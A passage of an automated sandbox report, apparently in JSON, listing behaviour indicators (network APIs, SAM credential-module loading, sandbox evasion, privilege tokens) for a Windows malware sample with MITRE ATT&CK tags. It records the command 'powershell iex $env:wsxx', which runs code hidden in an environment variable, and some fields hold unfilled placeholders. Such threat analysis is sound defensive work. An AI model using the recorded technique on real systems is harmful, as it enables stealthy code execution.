interface (RPC)","description":"\"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00005964)\n \"mshta.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00003516)\n \"powershell.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00003436)","origin":"API Call","mitre_attack_id":"T1021","relevance":3,"id":"api-219","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$4b","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a HTTP or FTP session (API string)","description":"Found reference to API \"InternetConnectA\" (Indicator: \"InternetConnect\"; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-538","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"HttpOpenRequestA\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve internet cache entries (API string)","description":"$4c","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-321","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve internet settings (API string)","description":"Found reference to API \"InternetQueryOptionA\" (Indicator: \"InternetQueryOption\"; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-314","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Network Related","name":"Contains ability to set options for internet handles (API string)","description":"Found reference to API \"InternetSetOptionA\" (Indicator: \"InternetSetOption\"; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-453","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"InternetOpenA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"details too long to display","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Network Related","name":"Imports windows networking-related APIs","description":"Observed import api \"WNetCloseEnum\" which can \"end a network resource enumeration\" [Source: 5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268]\n Observed import api \"WNetEnumResource\" which can \"continue an enumeration of network recls.sources\" [Source: 5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268]\n Observed import api \"WNetOpenEnum\" which can \"start an enumeration of network recls.sources or existing connections.\" [Source: 5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268]","origin":"Static Parser","mitre_attack_id":"T1135","relevance":1,"id":"static-86","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detecting PowerShell file matched on process \"00000000-00005964\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Embedded PE executable","description":"YARA signature matched on embedded PE in process \"00000000-00005964\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":2,"id":"yara-140","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to create/switch the desktop (API string)","description":"Found reference to API \"CreateDesktopA\" (Indicator: \"CreateDesktop\"; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-541","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to retrieve remote session information (API string)","description":"Found reference to API \"WTSEnumerateSessionsA\" (Indicator: \"WTSEnumerateSessions\"; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":1,"id":"string-546","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE1C3BBA6C2C814F21B1B4BC62DD34]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00002164.00000001.84984.002A0000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE2282F7264FB749D889476EBF9C94]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00002164.00000001.84984.002A0000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE86,\" (Indicator: \"ncalrpc\"; Source: \"00000000-00005964.00000003.86793.00640000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00002164.00000000.83063.002A0000.00000004.mdmp, 00000000-00002164.00000001.84984.002A0000.00000004.mdmp, 00000000-00002164.00000002.85189.002EA000.00000004.mdmp\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00005964.00000003.86793.01E40000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve logical drive information (API string)","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to steal credentials via Security Account Manager (SAM) modules","description":"\"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe\" loaded module \"%WINDIR%\\System32\\samcli.dll\" at 73B60000","origin":"Loaded Module","mitre_attack_id":"T1589.001","relevance":3,"id":"module-19","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$4f","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"mshta.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"000000000010000000000100fffffe7f03000000080000004a020000000001000600004f\"}\n \"mshta.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"000000000010000000000100fffffe7f03000000080000004a020000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"Found string \"e6>;Aes\" (Indicator: \"aes\"; Source: \"00000000-00005964.00000001.79349.01680000.00000004.mdmp, 00000000-00005964.00000002.81275.02590000.00000004.mdmp\")\n file/memory contains long string with (Indicator: \"base64\"; Source: \"00000000-00005964.00000002.81275.018DC000.00000004.mdmp\")\n file/memory contains long string with (Indicator: \"FromBase64String\"; Source: \"00000000-00005964.00000002.81275.018DC000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to detect sandbox (imports API)","description":"Found GetCursorPos() in an import section (Source: 5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268)","origin":"Static Parser","mitre_attack_id":"T1497","relevance":1,"id":"static-132","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate logon sessions (API string)","description":"Found reference to API \"WTSEnumerateSessionsA\" (Indicator: \"WTSEnumerateSessions\"; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-117","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve User Agents (API string)","description":"Found reference to API \"ObtainUserAgentString\" (Indicator: \"ObtainUserAgentString\"; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-157","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about MS-DOS device names (API string)","description":"Found reference to API \"QueryDosDeviceW\" (Indicator: \"QueryDosDevice\"; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-227","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve process ID (API string)","description":"Found reference to API \"GetProcessIdOfThread\" (Indicator: \"GetProcessId\"; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-478","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00002164.00000002.85189.003C1000.00000020.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"p_DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00002164.00000002.85189.003C1000.00000020.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Tries to enumerate objects using PowerShell","description":"Process \"powershell.exe\" with commandline \"iex $env:wsxx\" (UID: 00000000-00003436)","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":3,"id":"target-442","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00003436)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"System Security","name":"Calls an API used to open a process handle","description":"Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: 5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-191","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$50","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"$51","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"System Security","name":"Contains ability to use security policy setting (API string)","description":"Found reference to API \"SeAssignPrimaryTokenPrivilege\" (Indicator: \"SeAssignPrimaryTokenPrivilege\"; Source: \"00000000-00005964.00000003.86793.00640000.00000004.mdmp\")\n Found reference to API \"SeIncreaseQuotaPrivilege\" (Indicator: \"SeIncreaseQuotaPrivilege\"; Source: \"00000000-00005964.00000003.86793.00640000.00000004.mdmp\")\n Found reference to API \"SeRestorePrivilege\" (Indicator: \"SeRestorePrivilege\"; Source: \"00000000-00005964.00000003.86793.00640000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548","relevance":3,"id":"string-97","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"$52","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe\" opened \"\\Device\\KsecDD\"\n \"mshta.exe\" opened \"\\Device\\KsecDD\"\n \"powershell.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$53","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$54","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 